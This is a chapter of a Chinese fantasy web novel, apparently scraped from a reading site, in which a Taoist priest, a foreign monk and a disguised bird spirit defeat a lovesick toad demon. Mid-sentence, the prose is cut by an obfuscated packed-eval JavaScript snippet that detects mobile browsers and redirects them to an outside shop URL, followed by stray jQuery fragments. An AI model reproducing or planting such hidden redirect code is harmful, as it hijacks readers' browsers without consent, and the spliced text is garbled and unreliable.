默认冷灰
24号文字
方正启体

18. 第 18 章

作者:添禾本书字数:K更新时间:
    大虾蟆犹在暗自得意,下一刻便惊见人形白骨在青瑶身前化作了齑粉,随夜风扬在了树林中。


    她讶异地动了动手指,剩下的三具白骨,居然不再听从她的指挥,舍了那婢女纷纷向她冲了过来。


    眼看白骨一个个气势汹汹地袭来,虾蟆精一蹦三丈高,如同无头苍蝇一般,笨重的身体像一颗硕大肉丸,左击右撞在树干上,将树林震得哗哗作响。


    青瑶笑出声,待让许昀舒服地靠在树干上,再来好好收拾这讨人厌的妖怪。


    她走到许昀身前,衣袖一挥,他身上腥臭的粘液蓦然消散。


    虾蟆精见状,豁然醒悟,边奔跑边奋力地叫嚣,“原来你同我一样,接近许郎君也别有目的,你根本不是许家婢女!”


    大虾蟆瞬间露出阴恻恻的笑,“若是许郎知道,你猜他会如何?”


    不待她话说完,几具白骨加快了速度,眼看就要追上大虾蟆奋力撕咬。


    好不容易才到手的小郎君就要被救走,虾蟆精哪能甘心,见甩不掉白骨,她干脆铆足了力气,向后挺身一仰,用身体砸向几具紧追不舍的白骨。


    被她重重一击,白骨纷纷倒地,砉然碎裂成碎渣,鼓动着再难以拼凑到一起。


    虾蟆精的脊背被尖利的骨头戳破了好几处,剧痛难忍,高声哀嚎不止,她周身的毒瘤滴滴答答地往下流出脓液,四周恶臭味更甚。


    虾蟆精不顾身上疼痛,一眼睃定许昀,边嚎叫边朝他狂奔而来。


    尚未靠近,树林深处传来一声厉喝,虾蟆精闻声重重一跌,地面又是一阵剧烈颤动。


    一柄银白拂尘从林间火速飞出,兀自在虾蟆精身上抽打数下。


    虾蟆精左躲右闪,吼声震天,刚晕倒的许昀闻声身体一抖,缓缓睁开眼睛。


    一个白衣老道自林顶飘然而降,声似洪钟:“哎呀呀!你这个作怪的丑东西,将贫道的腿溜细了一圈,可终于找到了你,看贫道今日如何收拾你!”


    老道苍形古貌,雪发庞眉,脸色却红润得如同青年人,他白衣纤尘不染,随风猎猎鼓荡,十足一副仙风道骨的高人模样。


    他被虾蟆精的吼声震得不胜其烦,啧啧两声,拂尘停止抽打,径直落回了他的手中。


    许昀认出了老道,又惊又喜,“万年子道长!”


    自打许昀记事起,祖父隔一段时间便会请这老道来家中小住上几日,这几年他云游在外,虽然出自他手的符箓定时会送到家中,但许昀倒是有两年没有见过他了。


    不知道他为何会在这节骨眼出现在此地,莫非祖父早就派人去寻他了?


    老道见许昀没有性命之忧,顾不得与他寒暄,径直逼向虾蟆精。


    周围臭气熏天,老道不厌其烦,唠唠叨叨,他捂着口鼻,嘴上仍旧说个不停,“哎呀,幸亏贫道来得及时!不然你这臭东西作怪得逞,让许二郎君后半生如何自处,看我今天不剥了你皮,抽了你的筋,端了你的老巢!”


    万年子从袍袖中掏出好一大叠符箓,他手指在嘴角抹了抹唾沫,正准备捻出几张扔向那虾蟆精。


    怎知虾蟆精先他一步,她大口一张,周遭如同强风过境,一叠厚厚的符箓哗啦作响,瞬间被腥热的风吹散在林中,不知所踪。


    万年子来得匆忙,随身只带了这一叠约有二百张的符箓,本以为对付等闲妖怪绰绰有余,没想到,还没等到派上用场,就都随风扬了出去。


    除了拂尘,他身上没有其他法器,只得做好忍着这大虾蟆刺耳吼叫的准备,再鞭打它一番。


    银白拂尘出手,直直朝虾蟆的头顶扫去,谁知大虾蟆不走寻常路,在拂尘即将落顶之时,仰起头,大嘴一张,用力咬住拂尘。


    万年子跃身到空中,拂尘随他手臂起落。


    那虾蟆精力道奇大,死死咬住拂尘向后拖拽,生生将万年子遛出了一身热汗。


    片刻,一声断裂脆响,万年子眼见他心爱的拂尘被大虾蟆当做了美味,吞吃入口,嚼得嘎巴作响。


    万年子呆了片刻,接连失了符箓和拂尘,他痛心疾首,怒骂道:“你这丑东西,本事没有几个,歪门邪道倒是想出了不少,当真可恶,今日就算不用法器,贫道也能收拾得了你。”


    这老道画符箓是一把好手,法力却没得到师傅的真传,加之他连日赶回圣京,一天一夜不曾休息,现已疲乏不堪,法力只剩不到三成。


    但对付这等小妖,他自认手到擒来,没有一点问题。


    万年子拧起眉心,咬牙切齿,飞身上前,精瘦的手臂重重朝虾蟆精身上砸去。


    虾蟆精连连得手,面对老道势在必得,她大嘴中间一点殷红口脂,随着粗笨的身形上下颤动,笑得让人毛骨悚然。


    见老道飞身而至,大虾蟆咯咯狞笑转瞬变为一声从喉间喷薄而出的吼声。


    一股恶臭顿时弥漫在万年子周身,让他觉得仿佛掉入了万年臭水沟。


    万年子鼻尖一缩,虾蟆精黏腻的口水喷了他满脸满身皆是,他下意识后退几步,收回手臂来掩口鼻,怎奈虾蟆精趁机跳起,大嘴一口咬在了他的肩头。


    万年子几欲无法呼吸,他暗道不好,踊身朝后一跳,两相拉扯下,白色道袍“滋啦”一声被扯破,老道肩头硬生生被虾蟆精撕掉一块肉来。


    虾蟆精虽是低等妖物,但在螭潭边守着螭神修行多年,如同雄岩山上的草木一般受仙气润泽,故而长势旺盛,身形硕大,虽然法力不高,但力道却不是旁的小妖能比的。


    万年子捂住肩头,大惊失色,眼见鲜红血水流出化作黑紫,汩汩染黑白衣。


    他暗道不好,这大虾蟆有毒!


    虾蟆得了势,故意将万年子的一块肉嚼得脆响,她咯咯笑了一瞬,又紧逼上前。


    青瑶见这老道虚有其表,手上攒了一股力道,趁许昀不备,弹起地上的一块小石子朝虾蟆精的面门打去。


    虾蟆精正洋洋得意,料定青瑶不会在许昀清醒时使用妖术,她蹦跳着做势朝许昀扑来,怎料右眼一阵钻心剧痛。


    大虾蟆哀嚎倒地,扭曲打滚了片刻,可仍旧舍不得俊美郎君。


    她爬起身来,右眼肿得老高,觑着一只眼睛重重撞开万年子,发了狂一般朝许昀奔了过去。


    青瑶拉紧许昀手腕,也顾不得是否会暴露原形,此刻,救人要紧。


    她身后蓦然伸出翅膀,想先带许昀飞出这树林,许昀安全后,她不必有所顾虑,再回来好好收拾大虾蟆,不料,肩头却被人用力按压了一下。


    肖无疾不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025257|194370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知何时站在了她的身后,粉面几近贴到她的脸侧,低声道:“有道长在此,你竟敢这般大胆,莫非日后不想留在许府了?”


    他细长的桃花眼一弯,“抱歉,某没有听阿芍娘子的话,还是请了一位朋友前来。”


    青瑶收了翅膀,顺着肖无疾的目光看去,一个高鼻深目的高大和尚,身着破旧僧衣,手中捻动着佛珠,如疾风一般挡在了虾蟆精身前。


    青瑶以为肖无疾口中的朋友,自然同他一样,不是妖物便是鬼物,没成想,倒是小瞧了他,他居然与天竺僧人有交情。


    大和尚口中念诵着梵语经文,那虾蟆精无法再向前一步,她猛烈咆哮了几声,身体僵直倒地,再一动不能动。


    眼看没得到俊俏郎君,且性命不保,大虾蟆哀哀戚戚地啼哭了起来,“许郎,请你为我求求情,让高僧饶我一命。”


    大和尚似乎听不太懂中土语言,满目狐疑地看着大虾蟆哀声恸哭,一脸狐疑,万般难以理解。


    他回头看向肖无疾,肖无疾走上前去,在他耳边低语了两声,他才木然地点了点头。


    万年子恨极了虾蟆精,又见她向哀声求饶,愤愤地道:“这妖兽不知天高地厚,还想着娶美郎,真是痴心妄想。”


    他捂着肩头走到大和尚身侧,拍了拍那厚实的肩膀,赞赏地竖起了一根大拇指,又朝大虾蟆道:“你这毒如何解得?快说,不然,贫道让大和尚即刻取了你性命!”


    虾蟆双目含羞,斜睨了一眼许昀,抿嘴不语。


    万年子肩头疼痛难忍,急得直跺脚,“丑东西,快说!”


    虾蟆精大垂下眼皮,声音如蚊蚋,几乎只有大和尚和万年子才听得到,“我的粪土!”


    “哎呀!”万年子重重捶胸,咬牙忍下要撕了她的冲动,“解,现在就给贫道解!”


    虾蟆精不动如山,低低哭道:“人家害羞,不在许郎面前做此等下作事情。”


    万年子气得翻白眼,“哎呀呀,你这又丑又臭的蠢东西,命都要没了,竟还想着俊俏郎君,你若现在便解,贫道为你求情,让大和尚饶你一命,否则我便带你回观里,我的符箓还有上千张,你就等着慢慢受死吧!”


    虾蟆庞大的身躯兀自抖了抖,眼泪一把把,不情愿地应承了下来。


    大和尚看着俩人怪异的表情,又是满面不解。


    肖无疾一脸坏笑,在大和尚耳边悄声说了几句,大和尚念动经文,解开了虾蟆精身上的禁锢。


    虾蟆精跳到一颗大树后,片刻,一股腥臊臭气弥漫整个树林,比方才的几次来得更为猛烈,众人纷纷用袖口捂住了口鼻,仍有臭味不断钻入鼻孔。


    万年子从那大树后出来时,脸色煞白,肩头伤处糊着一团黏腻的不明物。


    许昀担心他的伤势,想上前关切几句,万年子一脸灰败,朝他摆了摆手,示意他不要靠近。


    万年子这次入京,必定会在许府住上些时日,来日方长。


    天竺僧人从衣袖中掏出法器,大虾蟆慢慢缩小成一个栗子般大小,突然,虾蟆记起了什么,开口道:“大师,道长,等等!”


    她看向青瑶,“她也是……”天边一声闷雷滚过,虾蟆余下的话变作几句低沉的“呱呱”声,再开不了口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)